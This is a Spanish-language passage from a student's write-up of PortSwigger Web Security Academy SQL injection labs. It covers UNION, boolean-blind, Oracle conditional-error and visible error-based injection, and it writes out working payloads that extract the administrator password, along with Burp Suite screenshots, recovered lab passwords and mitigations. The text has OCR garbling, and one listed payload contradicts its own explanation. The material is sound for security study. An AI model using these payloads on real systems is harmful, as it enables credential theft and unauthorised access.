Nivel: Practitioner

Tipo de ataque: Union-based / String Concatenation

1. OBJETIVO DEL LABORATORIO

Explotar una vulnerabilidad de SQL Injection mediante un ataque UNION para extraer
multiples campos (usuario y contraseia) de la tabla users, teniendo la limitacién de que la
consulta original solo permite mostrar una columna de tipo texto en la respuesta de la
aplicacion.

2. CONTEXTO TECNICO

La aplicaciodn filtra productos por categoria, pero el motor de la base de datos solo
devuelve una columna que puede renderizar cadenas de texto.

e Pardametro vulnerable: category (GET).

e Limitacidn técnica: Al intentar un ataque UNION, si se intenta extraer username y
password en columnas separadas, la aplicacion podria fallar si una de las columnas
originales es de tipo numérico o si solo se muestra una columna en la interfaz.

e Solucién técnica: Utilizar operadores de concatenacion (en este caso | |) para unir
el nombre de usuario y la contraseiia en una sola cadena de texto.

3. IDENTIFICACION DE LA VULNERABILIDAD

Se detecto que el sistema es vulnerable al inyectar comillas simples. Para determinar la
estructura, se realizaron las siguientes pruebas:

Numero de columnas: ' ORDER BY 2-- (Exitoso, hay 2 columnas) .

Tipo de datos: Se probd qué columna acepta texto:

' UNION SELECT 'abc', NULL-- (Error: la primera columna no es de texto).



' UNION SELECT NULL, 'abc'-- (Exito: la segunda columna es la que muestra
el texto).

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite
e Navegador web
e Plataforma PortSwigger Web Security Academy

5. PROCEDIMIENTO PASO A PASO

Se accedié a una categoria de productos y se interceptd la peticién en Burp Suite.

Se determiné mediante ORDER BY que la consulta utiliza 2 columnas.

Se identificd que solo la segunda columna es compatible con datos de tipo String.

Dado que necesitamos extraer dos datos (username y password) pero solo

tenemos una columna util, se procedié a concatenarlos usando el operador || y un

separador (~).

Se envio el payload disefiado al Repeater.

6. Se buscé en la respuesta del servidor la cadena que contiene al usuario
administrator.

7. Se extrajo la contrasefia y se procedid a iniciar sesion en el portal.

bl

U

6. PAYLOAD UTILIZADO

' UNION SELECT username, password FROM users--

7. EXPLICACION DEL PAYLOAD

' : Rompe la cadena original de la consulta.

UNION SELECT NULL, ...: Combina la consulta. Usamos NULL en la primera columna
porque no nos interesa y para evitar errores de tipo de datos.

username]| |'~'| | password: Aqui reside la logica del ataque. El operador | | concatena el
nombre de usuario, un separador tilde (~) y la contrasefia en una sola cadena. Esto



permite "engafiar" a la aplicacién para que muestre ambos valores en la Unica columna de
texto disponible.

FROM users--: Indica la tabla de origen y comenta el resto del cédigo SQL.

8. RESULTADO DEL ATAQUE
La respuesta del servidor mostroé una lista de productos vy, al final (o entre ellos), cadenas
con el formato usuario~contraseia. Se localizé la linea administrator~[password]. Tras

introducir estas credenciales en el formulario de login, se obtuvo acceso administrativo y
se resolvio el laboratorio.

9. EVIDENCIA:
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Home | My account | Log out

My Account

Your username is: administrator

Email

Update email

10. IMPACTO DE LA VULNERABILIDAD

o Exfiltracidon de credenciales: Permite obtener todas las cuentas de la base de datos
incluso con interfaces limitadas.
e Escalada de privilegios: Acceso total a la administracién del sitio.

11. MITIGACION

e Uso de Consultas Parametrizadas: Evita que los caracteres como 'o || sean
interpretados como comandos.



e Sanitizacidn de entradas: Validar que el parametro category solo contenga valores
esperados.

12. CONCLUSION DEL LABORATORIO

Este laboratorio Practitioner demuestra que las limitaciones en la interfaz de usuario
(como mostrar solo una columna) no son suficientes para detener un ataque de SQL
Injection. El uso de funciones de concatenacidn especificas del motor de base de datos
permite extraer informacién compleja a través de canales de salida restringidos.



LABORATORIO 11

Nombre del laboratorio: Blind SQL Injection with Conditional Responses
Nivel: Practitioner

Tipo de ataque: Blind SQL Injection (Boolean-based)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de Blind SQL

Injection presente en una aplicacion web. La vulnerabilidad permite manipular una
consulta SQL que utiliza el valor de una cookie para realizar operaciones en la base de
datos.

Debido a que la aplicacién no muestra directamente los resultados de las consultas ni
errores de la base de datos, el ataque se realiza utilizando respuestas condicionales del
sistema. En particular, la aplicacién muestra el mensaje "Welcome back" cuando una
consulta devuelve resultados.

Mediante el uso de estas respuestas booleanas, es posible inferir informacidon de la base
de datos, determinar la longitud de la contrasefia del usuario administrador y finalmente
reconstruirla cardcter por caracter.

2. CONTEXTO TECNICO

La aplicacidn utiliza una cookie llamada Trackingld para realizar andlisis de seguimiento de
usuarios. Este valor es insertado directamente dentro de una consulta SQL ejecutada por
el servidor.

Una posible consulta vulnerable ejecutada por el servidor podria tener la siguiente
estructura:

SELECT * FROM tracking WHERE trackingld = 'valor_cookie'

Cuando el valor de la cookie no es validado correctamente, un atacante puede inyectar
cddigo SQL malicioso dentro de este parametro.



En este laboratorio, la aplicacion no muestra directamente los resultados de la consulta
SQL. Sin embargo, el sistema responde de forma distinta dependiendo de si la consulta
devuelve resultados o no.

Si la consulta devuelve al menos una fila, la aplicacién muestra el mensaje:

Welcome back

Este comportamiento permite realizar un ataque de Blind SQL Injection basado en

condiciones booleanas, donde se pueden deducir datos de la base de datos evaluando
condiciones verdaderas o falsas.

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada manipulando el valor de la cookie Trackingld dentro de
una peticiéon HTTP interceptada con Burp Suite.

Se realizaron pruebas introduciendo condiciones booleanas dentro de la cookie:
' AND '1'="'1

y posteriormente:

" AND '1'='2

Cuando se utilizé la condicién verdadera ('1'='1), la aplicaciéon mostré el mensaje Welcome
back, indicando que la consulta SQL devolvié resultados.

En cambio, cuando se utilizd la condicién falsa ('1'="2), el mensaje desaparecio.

Esto confirmé que el valor de la cookie estaba siendo interpretado directamente dentro
de una consulta SQL, lo que evidencia una vulnerabilidad de Blind SQL Injection.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

e Burp Suite Community Edition
e Navegador web
e Plataforma PortSwigger Web Security Academy



Burp Suite se utilizé para interceptar y modificar las solicitudes HTTP enviadas al servidor.
Esto permitié manipular el valor de la cookie vulnerable y probar diferentes payloads de
SQL Injection para analizar la respuesta del servidor.

5. PROCEDIMIENTO PASO A PASO

10.

11.
12.

Se accedié al laboratorio desde la plataforma PortSwigger Web Security Academy.
Se configurd Burp Suite Proxy para interceptar las solicitudes HTTP enviadas por el
navegador.

Se capturd una solicitud HTTP que contenia la cookie Trackingld.

Se realizaron pruebas de inyeccién SQL introduciendo condiciones booleanas en el
valor de la cookie.

Se confirmd la vulnerabilidad observando la aparicion o desaparicion del

mensaje Welcome back.

Se determind la longitud de la contrasefa del usuario administrator utilizando
consultas SQL con la funcion LENGTH().

Se identificé que la contraseiia tenia 20 caracteres.

Se utilizd la herramienta Burp Intruder para automatizar el proceso de prueba de
caracteres posibles en cada posicion de la contrasefia.

Se configurd Intruder para probar combinaciones de caracteres alfanuméricos en
cada posicion utilizando la funcién SUBSTRING().

Se analizaron las respuestas del servidor para identificar qué caracteres producian
el mensaje Welcome back.

Se reconstruyé la contrasena del usuario administrador caracter por caracter.
Finalmente, se utilizo la contrasefia obtenida para iniciar sesion

como administrator, resolviendo el laboratorio.

6. PAYLOAD UTILIZADO

Payload utilizado para identificar caracteres de la contrasefia:

TrackingId=xyz' AND (SELECT SUBSTRING (password,1l,1) FROM users WHERE
username="'administrator')="a'--

Payload utilizado para determinar la longitud de la contrasefia:

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator'
AND LENGTH (password)>10)="a



Estos payloads fueron enviados mediante Burp Suite modificando el valor de Ia
cookie Trackingld.

7. EXPLICACION DEL PAYLOAD

El payload utiliza la funcién SUBSTRING() para extraer un caracter especifico de la
contrasefia almacenada en la base de datos.

Por ejemplo:

SUBSTRING (password, 1,1)

extrae el primer cardcter de la contrasefia del usuario administrador.
Posteriormente se compara ese caracter con un valor especifico:
='3"

Si la condicidn es verdadera, la consulta devuelve resultados y el sistema muestra el
mensaje Welcome back.

De esta forma es posible probar diferentes caracteres hasta identificar el valor correcto
para cada posicion de la contrasefia.

El simbolo:

se utiliza para comentar el resto de la consulta SQL original, evitando errores en la sintaxis
de la consulta.

8. RESULTADO DEL ATAQUE

Mediante el uso de la vulnerabilidad de Blind SQL Injection fue posible identificar la
longitud de la contraseia del usuario administrador y posteriormente reconstruirla
caracter por caracter.

La contrasena obtenida fue:

zeoz5ric42090r8pfco3



Una vez obtenida la contrasefia, se utilizd para iniciar sesién como administrator en la
aplicacion.

Después de iniciar sesién correctamente, la plataforma marcé el laboratorio como Lab
Solved, confirmando que la vulnerabilidad fue explotada exitosamente.

9. EVIDENCIAS

Insertar las siguientes capturas de pantalla:



Figura 1. Intercepcion de la solicitud HTTP en Burp Suite donde se observa la

cookie Trackingld.
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Figura 2. Modificacién del valor de la cookie para realizar pruebas de SQL Injection.
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Figura 3. Configuracion del ataque en Burp Intruder mostrando los payloads utilizados.
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Figura 4. Resultados del ataque en Intruder donde se identifican los caracteres correctos
de la contrasefia.
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10. IMPACTO DE LA VULNERABILIDAD

Si una vulnerabilidad de este tipo existiera en un sistema real, un atacante podria:

¢ Obtener credenciales de usuarios

¢ Acceder a informacidn sensible almacenada en la base de datos
e Comprometer cuentas administrativas

e Escalar privilegios dentro del sistema

¢ Acceder o modificar informacion critica del sistema

En entornos reales, este tipo de vulnerabilidad puede llevar al compromiso total de la
base de datos y del sistema afectado.

11. MITIGACION

Para prevenir vulnerabilidades de SQL Injection se recomienda:

e Utilizar consultas parametrizadas (prepared statements)

e Implementar validacién estricta de entradas de usuario

e Evitar concatenar directamente datos de usuario en consultas SQL
e Utilizar frameworks y ORM seguros

e Aplicar el principio de minimo privilegio en la base de datos

¢ Implementar herramientas de monitoreo y deteccidn de ataques

Estas medidas ayudan a evitar que las entradas de usuario sean interpretadas como parte
del cédigo SQL ejecutado por el servidor.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitié comprender cdmo una aplicacidn vulnerable puede ser
explotada mediante un ataque de Blind SQL Injection incluso cuando no se muestran
errores o resultados de la base de datos.

A través del andlisis de respuestas condicionales del sistema, fue posible inferir
informacion de la base de datos y reconstruir la contrasefia del usuario administrador.



El laboratorio demuestra la importancia de implementar mecanismos adecuados de
validacién de entradas y consultas parametrizadas para prevenir este tipo de
vulnerabilidades en aplicaciones web.

LABORATORIO 12

Nombre del laboratorio: Blind SQL Injection with Conditional Errors
Nivel: Practitioner

Tipo de ataque: Blind SQL Injection (Error-based / Conditional errors)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de Blind SQL Injection
basada en errores presente en una aplicacién web que utiliza el valor de una cookie para
ejecutar consultas SQL en el servidor.

Debido a que la aplicacién no muestra directamente los resultados de las consultas SQL ni
cambia su comportamiento cuando una consulta devuelve registros, el ataque se basa en
provocar errores controlados en la base de datos para inferir informacidn.

Mediante este método es posible determinar la longitud de la contrasena del
usuario administrator y posteriormente reconstruirla caracter por caracter hasta obtener
acceso a su cuenta.

2. CONTEXTO TECNICO

La aplicacidn utiliza una cookie llamada Trackingld para realizar seguimiento de los
usuarios con fines analiticos. El valor de esta cookie es utilizado directamente dentro de
una consulta SQL ejecutada por el servidor.

Una consulta vulnerable podria tener una estructura similar a:

SELECT * FROM tracking WHERE trackingId = 'valor cookie'

Si el valor de la cookie no es validado correctamente, un atacante puede insertar cddigo
SQL malicioso dentro de este parametro.



En este laboratorio, la aplicacion no muestra resultados de las consultas SQL ni cambia su
comportamiento dependiendo de si la consulta devuelve filas. Sin embargo, si la consulta
provoca un error en la base de datos, la aplicacién devuelve una respuesta de error del
servidor.

Este comportamiento permite realizar un ataque de Blind SQL Injection basado en
errores, donde el atacante deduce informacién de |la base de datos observando cuando se

produce un error.

La base de datos utilizada en el laboratorio es Oracle, lo cual se evidencia por el uso de la
tabla especial:

dual

y funciones como:

TO_CHAR ()

3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada manipulando el valor de la cookie Trackingld en una
solicitud interceptada con Burp Suite.

Se envi6 el siguiente payload disefiado para provocar un error en la base de datos:

"|| (SELECT TO_CHAR(1/0) FROM dual) ||

La expresion 1/0 provoca una divisidn entre cero, generando un error en la base de datos
Oracle.

Como resultado, el servidor respondio con:

HTTP 500 Internal Server Error

Esto confirmé que el valor de la cookie estaba siendo interpretado directamente dentro
de una consulta SQL, demostrando la presencia de una vulnerabilidad de SQL Injection.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:



e Burp Suite Community Edition
* Navegador web
¢ Plataforma PortSwigger Web Security Academy

Burp Suite se utilizé para interceptar y modificar las solicitudes HTTP enviadas al servidor,
permitiendo manipular el valor de la cookie vulnerable y probar diferentes payloads de
SQL Injection.

Esto permitié analizar las respuestas del servidor y determinar cudndo una consulta SQL
provocaba un error.

5. PROCEDIMIENTO PASO A PASO

Se accedié al laboratorio desde la plataforma PortSwigger Web Security Academy.

Se configurd Burp Suite Proxy para interceptar las solicitudes HTTP.

Se capturd una solicitud que contenia la cookie Trackingld.

Se modificé el valor de la cookie para insertar un payload SQL disefiado para

provocar un error en la base de datos.

5. Se confirmd la vulnerabilidad al observar una respuesta HTTP 500 Internal Server
Error.

6. Se construyd una consulta SQL condicional utilizando la estructura CASE WHEN.

7. Se utilizaron condiciones booleanas para determinar informacién sobre la
contrasefia del usuario administrador.

8. Se determind la longitud de la contrasefia mediante consultas condicionales.

9. Se extrajo cada caracter de la contrasefia utilizando la funcién SUBSTR().

10. Se reconstruyd la contrasefia completa caracter por cardcter.

11. Finalmente, se utilizd la contrasefia obtenida para iniciar sesion

como administrator, resolviendo el laboratorio.

PwNPRE

6. PAYLOAD UTILIZADO

Payload utilizado para provocar error en la base de datos:

TrackingId="'|| (SELECT TO CHAR(1/0) FROM dual) ||

Payload condicional utilizado para extraer informacion:

TrackingId="'|| (SELECT CASE WHEN (SUBSTR((SELECT password FROM users WHERE
username='administrator'),1,1)="a') THEN TO CHAR(1l) ELSE TO CHAR(1/0) END
FROM dual) ||



7. EXPLICACION DEL PAYLOAD

El payload utiliza una expresion condicional mediante la estructura SQL CASE WHEN.

Si la condicidon evaluada es verdadera, la consulta devuelve un valor normal utilizando:

TO CHAR (1)

Si la condicidn es falsa, la consulta ejecuta:

TO CHAR(1/0)
lo cual provoca una division entre cero y genera un error en la base de datos.

De esta forma es posible determinar si una condicion es verdadera o falsa observando si el
servidor devuelve una respuesta normal o un error.

Este método permite extraer informacién de la base de datos incluso cuando la aplicacién
no muestra resultados directamente.

8. RESULTADO DEL ATAQUE

Mediante el uso de Blind SQL Injection basada en errores fue posible identificar la
contrasefia del usuario administrador cardcter por cardcter.

La contrasefa obtenida fue:

sukyz3xvkwxok3z9hfka

Una vez obtenida la contrasefia, se utilizd para iniciar sesion como administrator, lo que
permitié resolver exitosamente el laboratorio.

9. EVIDENCIAS

Incluir las siguientes capturas:



Figura 1. Request interceptado en Burp Suite mostrando la cookie vulnerable Trackingld.

[ JON ] Burp Suite Community Edition v2026.2.3 - Temporary Project
Dashboard Target Proxy - Intruder Repeater Collaborator Sequencer Decoder ‘Comparer Logger ‘Organizer @ b ﬁ,}
Extensions Discover
6 7 8 x + P o~
m @  Cancel < > + BurpAl Target: https://0af700140418c eb-security net /2 HTIP2 (D)
Request nE= Inspector X =
Pretty Fiaw Hex W @ " = Selection 77 (Oxad) ~ 3
1 GET ffilter?category=Tech+gifts HTTP/2 Selscted text E
2 Host: Raf700140419c1e6803f0B2600d6@@Bc.web-security-academy.net
3 Cookie: Trackingld=eguNrs2STEbHHbE1; session=wzuP@lzlum93ucszICiI0fDesab6p3z Cookie: TrackingId=eguNrs2STEbHMbEL; s
4 Sec—Ch-Ua: “Chromium“;v="145", “Not:A-Brand";v="99 ession=wzuPBlz1um93wlcsz1CjI10fDesab6p3
5 Sec—Ch-Ua-Mobile: 7@ -
6 Sec—Ch-Ua-Platform: “mac0s" B
7 Accept-Language: es-419,es;q=0.9
8 Upgrade-Insecure-Requests: 1 E
9 User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 1@_15_7) AppleWebKit/537.36 Decoded from:  Select @ g
{KHTML, like Gecke) Chrome/145.8.08.8 Safari/537.36
10 Accept: Cookie: TrackingId=eguNrs2STEbHMbtl; s
text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp, image/ ession=wzuPBlzlum93wlcszICjI0fDesabbp3
apng,*/*;q=0.8, application/signed-exchange;v=b3;gq=0.7 z %
11 Sec-Fetch-5ite: same-origin
12 Sec-Fetch-Mode: navigate o)
13 Sec-Fetch-User: 71 Canosl Apply changes B
14 Sec-Fetch-Dest: document ]
15 Referer: https://0af700140419c1e6803f0B2600d6RREBC. web-security-academy.net/ Request attributes 2 oo 3
16 Accept-Encoding: gzip, deflate, br E
17 Priority: u=0, i 5
- Request query parameters 1 v 2
@& ¢ > | searcn £ onighights  Selection: 77 (0x4d)
Request body parameters 0 v
Flespcnse
Request cookies 2 v
Request headers 16 v
Ready
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Figura 2. Payload SQL utilizado para provocar un error en la base de datos.

[ JON Burp Suite Community Edition v2026.2.3 - Temporary Project

Dashboard Target Proxy - Intruder Repeater Collaborator Sequencer Decoder ‘Comparer Logger ‘Organizer @ b 'E"}
Extensions Discover

6 7 8 x + P o~
m @  Cancel < > + BurpAl Target: https://0af700140418c eb-security net /2 HTIP2 (D)
Request n E L] Inspector b4 =
Prety  Raw  Hex ® @ " = Requestatiributes 2 v 3
1 GET /filter?category=Tech+gifts HTTP/2 EL
2 Host: Baf7@0148419c1e6803f0B260@d60@8C. web-security-acadeny. net Request query parameters 1 2
3 Cookie: TrackingId='||(SELECT TO_CHAR(1/8) FROM dual)}||'; session=

wzuP@Jzlum33wQcszICjIQTDesabbp3z Request body parameters 0 v
4 Sec—Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"
5 Sec—Ch-Ua-Mobile: 7@ B
6 Sec—Ch-Ua-Platform: “mac0s" Request cookiss 2 ~
7 Accept-Language: es-419,es;q=0.9 E
8 Upgrade-Insecure-Requests: 1 Request o 20 - 3
3 User-Agent: Mozilla/5.8 {(Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36

{KHTML, like Gecke) Chrome/145.8.08.8 Safari/537.36

128 Accept: Response headers 3 v
text/html, application/xhtml+xml,application/xml;g=0.9%, image/avif, image/webp, image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.7

11 Sec-Fetch-5ite: same-origin

12 Sec-Fetch-Mode: navigate

13 Sec-Fetch-User: 71

14 Sec-Fetch-Dest: document

15 Referer: https://0afi@0140419c126883f@B2608d6RRBC. web—security-academy.net/

16 Accept-Encoding: gzip, deflate, br

SUOJJOB WOJsny <P

@& ¢ > | searcn £ onighights

Response

Pretty Raw Hex Render a @ v =

HTTP/2 588 Internal Server Error
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 2428

<!DOCTYPE himl>
<html=
<!——LAE_HEAD_START——>
£l <head>
1@ <link href=/resources/labheader/css/academylLabHeader.css rel=stylesheet>
11 <link href=/resources/css/labs.css rel=stylesheet>
12 <title>
BElind 50L injection with cenditienal errors
</title=
13 </head>
14 <!——LAE_HEAD_END-->
15 <script src="/resources/labheader/js/labHeader. js">
</script>
16 <!——LAB_HEADER_START--=
17 <div id="academylLabHeader"=>

@ © ¢ » | searcn £ | ohighights ®

Done 2,555 bytes | 211 milis
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Figura 3. Payload para descubrir si existe el usuario administrador.

[ JON ] Burp Suite Community Edition v2026.2.3 - Temporary Project
Dashboard Target Proxy - Intruder Repeater Collaborator Sequencer Decoder ‘Comparer Logger ‘Organizer @ b E:}
Extensions Discover
6 78 x + R~
m @  Cancel ¢ v + BurpAl Target: https://0af700140418c eb-security net /2 HTIP2 (D)
Request n E L] Inspector b4 =
Pretty Fiaw Hex w @ " = Selection 13 (Oxd) ~ 3
1 GET ffilter?category=Tech+gifts HTTP/2 Selscted text EL
2 Host: @af700140419c1e6803f082600d6888c.web-security-academy.net
3 Cookie: TrackingId='||(SELECT CASE WHEN ((SELECT LENGTH(password) FROM users WHERE HTTP/2 200 0K
username='administrator')>=2@8) THEN TO_CHAR({1) ELSE TO_CHAR(1/@) END FROM
duall | |'; session=wzuP@lzlum93wQcszICjIQfDesab6p3z
4 Sec—Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99" @
5 Sec—Ch-Ua-Mobile: 7@ -
R it attributes 2
6 Sec—Ch-Ua-Platferm: "mac0s" et i e E
7 Accept-Language: es-419,es;q=0.9 3
8 Upgrade-Insecure-Requests: 1 Request query parameters 1 v
3 User-Agent: Mozilla/5.8 {(Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36
{KHTML, like Gecke) Chrome/145.8.08.8 Safari/537.36
10 | Accept: Request body parameters 0 v $
text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image/
apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.7 Request cookies 2 w o
11 Sec-Fetch-Site: same-origin B
12 Sec-Fetch-Mode: navigate =4
13 Sec-Fetch-User: ?1 Flacuest haadars = ™ 3
14 Sec-Fetch-Dest: document S»
15 Referer: https://0afipp140419c1e6803fRB2688d6AREC. web—security—academy.net/ Response headers 3 w g
@& ¢ > | seacn £ | ohighights  Selaction: 113 (0x71)
Response
Pretty Raw Hex Render a @ v =
1 hrTR/2 200 OK
2 Content-Type: text/html; charset=utf-8
3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 5413
5
6 <!DOCTYPE html=
7 | <html>
8 <!——LAB_HEAD_START——>
9 <head>
1@ <link href=/resources/labheader/css/academylLabHeader.css rel=stylesheet
>
11 <link href=/resources/css/labsEcommerce.css rel=stylesheet>
12 <title>
BElind 50L injection with cenditicnal errors
</title>
13 </head>
14 <!-—LAE_HEAD_END-->
15 <body>
16 <script src="/resources/labheader/js/labHeader.js">
<fscript
@& ¢ > | searcn £ | onighights  Selection: 13 (0xd) o
Done 5,521 bytes | 379 milis
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Figura 4. Payload para descubrir la logitud de la contrasefia.

[ ION ] Burp Suite Community Edition v2026.2.3 - Temporary Project
Dashboard Target Proxy - Intruder Repeater Collaborator Sequencer Decoder ‘Comparer Logger ‘Organizer @ b E:}
Extensions Discover
6 7 8 x + P o~
m @  Cancel ¢ v + BurpAl Target: https://0af700140418c eb-security net /2 HTIP2 (D)
Request n E L] Inspector b4 =
Pretty Fiaw Hex w @ " = Selection 104 (068} ~ 3
1 GET /filter?category=Tech+gifts HTTP/2 Selected text E
2 Host: @af700140419c1e6803f082600d6888c.web-security-academy.net

w

Cookie: TrackingId='||({SELECT CASE WHEN (EXISTS(SELECT 1 FROM users WHERE
username='administrator')) THEN TO_CHAR(1) ELSE TO_CHAR(1/@) END FROM duall||';
session=wzuP@Jlzlum93wQcszICjIQfDesabbp3z
Sec—Ch-Ua: "Chromium";v="145", "Not:A-Brand"
Sec-Ch-Ua-Mobile: 7@
Sec-Ch-Ua-Platform: "mac0s"
Accept-Language: es-419,es;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.8 {(Macintosh; Intel Mac 05 X 18_15_7) AppleWebKit/537.36
{KHTML, like Gecke) Chrome/145.8.08.8 Safari/537.36
128 Accept:
text/html, application/xhtml+xml, application/xml;g=0.9, image/avif, image/webp, image/
apng,*/*;q=0.8,application/signed-exchange;v=b3;g=0.7
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-Mode: navigate
13 Sec-Fetch-User: 71
14 Sec-Fetch-Dest: document
15 Referer: https://0afipp140419c1e6803fRB2688d6AREC. web—security—academy.net/

RN XL

@& ¢ > | seacn £ | onighights  Selection: 154 (0x9a)
Response
Pretty Raw Hex Render a @ v =

liTTes2 200 0K

Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 5413

1
2
3
a4
5
6 <!DOCTYPE html=
7
8
£l
]

<html>
<!——LAB_HEAD_START——>
<head>
1 <link href=/resources/labheader/css/academylLabHeader.css rel=stylesheet
>
11 <link href=/resources/css/labsEcommerce.css rel=stylesheet>
12 <title>
BElind 50L injection with cenditicnal errors
</title>
13 </head>
14 <!-—LAE_HEAD_END-->
15 <body>
16 <script src="/resources/labheader/js/labHeader.js">
<fscript
@& ¢ > | searcn £ | onighights  Selection: 104 (0x68)
Done

HTTP/2 288 OK \r \n

Content-Type: text/html; charset=utf-
BAr An

X-Frame-Options: SAMEORIGIN \r ‘n
Content-Length: 5413

seloN [

Request attributes 2 w
Request query parameters 1 o $
(o]
Request body parameters 0 v g»
=
w
Request cookies 2 v =1
o
@
Request headers 20 v
Response headers 3 w

5,521 bytas | 290 milis
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Figura 5. Ejemplo de payload condicional utilizado para extraer caracteres de la

contrasefia
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Figura 6. Inicio de sesidn exitoso como administrator.
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Figura 7. Confirmacién de laboratorio resuelto en la plataforma.

o # Blind SOL injection with conc x4
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My Account

Your username is: administrator

Email

Update email

10. IMPACTO DE LA VULNERABILIDAD

Si una vulnerabilidad de este tipo existiera en un sistema real, un atacante podria:

¢ Obtener credenciales de usuarios almacenadas en la base de datos
e Acceder a informacidn sensible del sistema

e Comprometer cuentas administrativas



e Escalar privilegios dentro del sistema
e Modificar o eliminar informacion critica

En casos graves, este tipo de vulnerabilidad puede llevar al compromiso total de la base
de datos y del sistema afectado.

11. MITIGACION

Para prevenir vulnerabilidades de SQL Injection se recomienda:

e Utilizar consultas parametrizadas (prepared statements)

e Validar y sanitizar todas las entradas del usuario

e Evitar concatenar directamente datos de usuario en consultas SQL
e Utilizar frameworks y ORM seguros

e Aplicar el principio de minimo privilegio en la base de datos

¢ Implementar controles de seguridad en la capa de aplicacién

Estas medidas ayudan a evitar que datos introducidos por el usuario sean interpretados
como cédigo SQL ejecutado por el servidor.

12. CONCLUSION DEL LABORATORIO

Este laboratorio permitié comprender cdmo una vulnerabilidad de Blind SQL Injection
basada en errores puede ser explotada incluso cuando la aplicacidn no muestra
resultados de la base de datos.

Mediante el uso de errores controlados fue posible inferir informacion sobre la base de
datos y reconstruir la contraseiia del usuario administrador.

Este ejercicio demuestra la importancia de implementar mecanismos adecuados de
validacién de entradas y consultas parametrizadas para prevenir vulnerabilidades de SQL
Injection en aplicaciones web.



LABORATORIO 13

Nombre del laboratorio: Visible Error-Based SQL Injection
Nivel: Practitioner

Tipo de ataque:Error-based SQL Injection (Visible error-based)

1. OBJETIVO DEL LABORATORIO

El objetivo de este laboratorio es explotar una vulnerabilidad de SQL Injection basada en
errores visibles presente en una aplicacion web que utiliza el valor de una cookie para
ejecutar consultas SQL en el servidor.

A diferencia de otros laboratorios de tipo blind, en este caso los mensajes de error de la
base de datos son visibles para el atacante, lo que permite filtrar informacién
directamente desde la respuesta del servidor.

El propdsito principal es obtener la contrasefa del usuario administrator mediante la
explotacidn de errores SQL y posteriormente iniciar sesién con dicha cuenta.

2. CONTEXTO TECNICO

La aplicacién utiliza una cookie llamada Trackingld para realizar funciones de seguimiento
y analisis. El valor de esta cookie se inserta directamente dentro de una consulta SQL
ejecutada por el servidor.

Una posible consulta vulnerable podria tener una estructura como la siguiente:
SELECT * FROM tracking WHERE id = 'TrackingId'

Cuando la aplicacién no valida correctamente el valor de la cookie, un atacante puede
inyectar instrucciones SQL adicionales dentro de la consulta.

En este laboratorio, aunque los resultados de las consultas SQL no son devueltos
directamente, el servidor muestra mensajes de error detallados, lo que permite obtener
informacién sensible desde los propios errores generados por la base de datos.



3. IDENTIFICACION DE LA VULNERABILIDAD

La vulnerabilidad fue identificada modificando el valor de la cookie Trackingld e
introduciendo una comilla simple:

Esto provocd un error de sintaxis en la consulta SQL, indicando que el valor del pardmetro
estaba siendo interpretado directamente dentro de una cadena SQL.

Posteriormente, al agregar un comentario SQL:

se observo que la consulta volvia a ser sintacticamente valida, lo que confirmé que el valor
de la cookie podia utilizarse para modificar la consulta SQL original.

Esto permitié concluir que la aplicacion era vulnerable a SQL Injection basada en errores
visibles.

4. HERRAMIENTAS UTILIZADAS

Herramientas empleadas durante el laboratorio:

¢ Burp Suite Community Edition
e Navegador web
¢ Plataforma PortSwigger Web Security Academy

Burp Suite se utilizé para interceptar las peticiones HTTP enviadas al servidor, modificar el
valor de la cookie Trackingldy analizar las respuestas devueltas por la aplicacion.

La pestafia HTTP History permitid localizar la solicitud vulnerable y la pestafia Repeater se
utilizé para probar distintos payloads de SQL Injection de forma controlada.

5. PROCEDIMIENTO PASO A PASO

1. Se accedid al laboratorio desde el navegador integrado de Burp Suite.
2. Sereviso el historial de peticiones en Proxy > HTTP History hasta encontrar una
solicitud GET que contenia la cookie Trackingld.



3. Lasolicitud fue enviada a Repeater para modificarla manualmente.

4. Se afadio una comilla simple al valor de la cookie para provocar un error SQL y
confirmar la vulnerabilidad.

5. Se afiadio un comentario SQL (--) para corregir la sintaxis de la consulta.

6. Se probd una subconsulta genérica usando CAST ( (SELECT 1) AS int) para
verificar que era posible ejecutar subconsultas.

7. Se ajusto la consulta para convertir la subconsulta en una expresion booleana
valida.

8. Se reemplazé la subconsulta por una consulta a la tabla users para extraer
usernames.

9. Se observé un error indicando que la subconsulta devolvia mas de una fila.

10. Se agregd LIMIT 1 para restringir la consulta a un solo registro.

11. El error resultante permitio identificar el usuario administrator.

12. Se modificé nuevamente la subconsulta para recuperar la contrasefia del primer
usuario de la tabla.

13. El mensaje de error filtrd la contrasefia del usuario administrador.

14. Finalmente, se inicio sesidon con las credenciales obtenidas y se resolvié el
laboratorio.

6. PAYLOAD UTILIZADO

Payload utilizado para obtener el username:

TrackingId=' AND 1=CAST ((SELECT username FROM users LIMIT 1) AS int)--

Payload utilizado para obtener la contraseiia:

TrackingId=' AND 1=CAST ((SELECT password FROM users LIMIT 1) AS int)--

7. EXPLICACION DEL PAYLOAD

El payload inserta una subconsulta dentro de la condicidn SQL original. La subconsulta
intenta recuperar un valor textual desde la base de datos y convertirlo a tipo entero
